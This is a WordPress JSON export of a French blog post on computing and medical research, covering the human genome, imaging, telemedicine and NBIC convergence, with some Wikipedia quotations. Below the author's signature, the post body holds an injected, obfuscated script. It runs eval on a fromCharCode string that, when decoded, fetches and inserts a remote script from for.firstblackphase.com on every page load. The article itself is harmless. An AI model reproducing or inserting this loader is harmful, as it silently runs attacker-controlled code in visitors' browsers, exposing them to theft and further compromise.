{"id":3797,"date":"2015-01-31T12:54:57","date_gmt":"2015-01-31T11:54:57","guid":{"rendered":"http:\/\/www.3coh.net\/contributions\/?p=286"},"modified":"2017-04-29T12:35:37","modified_gmt":"2017-04-29T10:35:37","slug":"linformatique-et-la-recherche-medicale","status":"publish","type":"post","link":"https:\/\/ipresences.com\/Blog\/archives\/3797","title":{"rendered":"L\u2019Informatique et la recherche m\u00e9dicale"},"content":{"rendered":"<p><em>&#8230; Suite de la contribution intitul\u00e9e :<\/em> <a title=\"L\u2019apport de l\u2019informatique \u00e0 la m\u00e9decine\" href=\"https:\/\/www.ipresences.com\/?p=276 \" target=\"_blank\">L\u2019apport de l\u2019informatique \u00e0 la m\u00e9decine<\/a><\/p>\n<p>La recherche m\u00e9dicale a grandement b\u00e9n\u00e9fici\u00e9 du d\u00e9veloppement croissant de l\u2019informatique (Ordinateurs de plus en plus puissants, mise en commun des connaissances gr\u00e2ce \u00e0 internet et l\u2019interconnexion des centres de recherche).<\/p>\n<p>Nous pourrions lister \u00e0 l\u2019infini les avanc\u00e9es dans le domaine de la m\u00e9decine qui n\u2019auraient pas \u00e9t\u00e9 possibles sans l\u2019utilisation de l\u2019informatique tels que\u00a0:<\/p>\n<ul>\n<li>Le s\u00e9quen\u00e7age du g\u00e9nome humain et ses retomb\u00e9es sur la m\u00e9decine g\u00e9n\u00e9tique.<\/li>\n<\/ul>\n<p><em>\u00ab\u00a0Le g\u00e9nome est l&rsquo;ensemble du mat\u00e9riel g\u00e9n\u00e9tique d&rsquo;un individu ou d&rsquo;une esp\u00e8ce cod\u00e9 dans son ADN. Il contient en particulier toutes les s\u00e9quences codantes et non-codantes. Le g\u00e9nome est souvent compar\u00e9 \u00e0 une encyclop\u00e9die dont les diff\u00e9rents volumes seraient les chromosomes. &#8230; <\/em><\/p>\n<p><em>\u2026 Le\u00a0<\/em><em>s\u00e9quen\u00e7age du g\u00e9nome\u00a0<\/em><em>humain a \u00e9t\u00e9 achev\u00e9 en 2004, gr\u00e2ce au\u00a0<\/em><em>Projet G\u00e9nome Humain\u00a0<\/em><em>(PGH). Il s&rsquo;agit, en fait, d&rsquo;une compilation de donn\u00e9es recueillies sur plusieurs individus.\u00a0\u00bb<\/em><\/p>\n<p><em>Source Wikipedia<\/em><\/p>\n<ul>\n<li>Les grandes avanc\u00e9es dans le domaine de l\u2019imagerie m\u00e9dicale.<\/li>\n<\/ul>\n<p>L\u2019influence de l\u2019imagerie dans la m\u00e9decine moderne est consid\u00e9rable et englobe le diagnostic, la pr\u00e9vention, le suivi des traitements et la pharmacologie.<\/p>\n<ul>\n<li>La t\u00e9l\u00e9m\u00e9decine<\/li>\n<\/ul>\n<p>Elle constituera la prochaine grande r\u00e9volution : permettre la confrontation de diagnostics et diff\u00e9rentes interventions sur le m\u00eame patient par des intervenants distants.<br \/>\nMais, avec l\u2019arriv\u00e9e des ordinateurs dot\u00e9s d\u2019une puissance de calcul ph\u00e9nom\u00e9nale et de capacit\u00e9s de stockage de plus en plus grandes (la mesure de la capacit\u00e9 des disques durs est de l\u2019ordre du \u00a0terra-octets), nous assistons \u00e0 une grande convergence entre la Nanotechnologie (N), la Biotechnologie (B), l\u2019Informatique (I) et les sciences Cognitives (C) (NBIC).<\/p>\n<p>Cette interconnexion croissante entre la science de l\u2019infiniment petit (Nanotechnologie), la fabrication du vivant (Biotechnologie), L\u2019intelligence artificielle (Informatique) et les sciences cognitives (Etudes du cerveau humain) va certainement r\u00e9volutionner les sciences m\u00e9dicales.<\/p>\n<p>Ces diff\u00e9rentes sciences ont pu \u00eatre mises en commun permettant ainsi aux chercheurs de r\u00e9aliser des exp\u00e9riences et des simulations de plus en plus complexes.<\/p>\n<p>\u00ab\u00a0<em>Dans le domaine m\u00e9dical et de l&rsquo;informatique, un des d\u00e9fis que les NBIC cherchent \u00e0 relever, est d&rsquo;acqu\u00e9rir l&rsquo;autonomie par la commande directe du<\/em><em>\u00a0<\/em><a href=\"http:\/\/fr.wikipedia.org\/wiki\/Cerveau\"><em>cerveau<\/em><\/a><em>, assist\u00e9 par des \u00e9lectrodes externes ou internes qui \u00e9viteraient la n\u00e9cessit\u00e9 de passer par un clavier ou un syst\u00e8me de reconnaissance des gestes, mouvements d&rsquo;yeux, etc. pour communiquer avec des syst\u00e8mes informatis\u00e9s.<\/em><\/p>\n<p><em>Ce peut \u00eatre un moyen de restaurer certaines fonctions chez des malades ou handicap\u00e9s. Des implants c\u00e9r\u00e9braux commandent d\u00e9j\u00e0 des assistants techniques (fauteuils roulants notamment), stimulant les muscles de personnes handicap\u00e9es ou gouvernant des extensions techniques du corps (par des exosquelettes).<\/em><\/p>\n<p><em>Par exemple, dans le cadre de l&rsquo;aide \u00e0 la<\/em><em>\u00a0<\/em><a href=\"http:\/\/fr.wikipedia.org\/wiki\/Personne_%C3%A2g%C3%A9e\"><em>personne \u00e2g\u00e9e<\/em><\/a><em>, les NBIC se proposent d&rsquo;int\u00e9grer ces technologies avanc\u00e9es aux fonctions humaines. Le but est d&rsquo;optimiser le fonctionnement de l&rsquo;individu et de compenser ses \u00e9ventuels d\u00e9clins. C&rsquo;est peut-\u00eatre un pas vers ce que certains appellent \u00ab\u00a0l&rsquo;homme symbiotique\u00a0\u00bb (Brangier, 2000), l&rsquo;\u00ab\u00a0humain augment\u00e9\u00a0\u00bb techniquement<\/em>.\u00a0\u00bb<\/p>\n<p>(Source Wikipedia)<\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<p style=\"text-align: right;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright wp-image-20 size-full\" src=\"https:\/\/www.ipresences.com\/wp-content\/uploads\/2014\/05\/boubnia.png\" alt=\"M. Boubenia, Consultant \u00e0 Pr\u00e9sences Int'l\" width=\"170\" height=\"130\" \/><\/p>\n<p style=\"text-align: right;\"><strong>M. BOUBENIA<\/strong><\/p>\n<p style=\"text-align: right;\"><strong>Consultant \u00e0 Pr\u00e9sences Int&rsquo;l<\/strong><\/p>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8230; Suite de la contribution intitul\u00e9e : L\u2019apport de l\u2019informatique \u00e0 la m\u00e9decine La recherche m\u00e9dicale a grandement b\u00e9n\u00e9fici\u00e9 du d\u00e9veloppement croissant de l\u2019informatique (Ordinateurs de plus en plus puissants, mise en commun des connaissances gr\u00e2ce \u00e0 internet et l\u2019interconnexion des centres de recherche). Nous pourrions lister \u00e0 l\u2019infini les avanc\u00e9es dans le domaine de &hellip;<\/p>\n<p class=\"read-more\"> <a class=\"\" href=\"https:\/\/ipresences.com\/Blog\/archives\/3797\"> <span class=\"screen-reader-text\">L\u2019Informatique et la recherche m\u00e9dicale<\/span> Lire la suite\u00a0\u00bb<\/a><\/p>\n","protected":false},"author":1,"featured_media":20,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"default","ast-global-header-display":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","footnotes":""},"categories":[117],"tags":[],"class_list":["post-3797","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-contributions"],"_links":{"self":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/3797","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/comments?post=3797"}],"version-history":[{"count":0,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/3797\/revisions"}],"wp:attachment":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/media?parent=3797"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/categories?post=3797"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/tags?post=3797"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}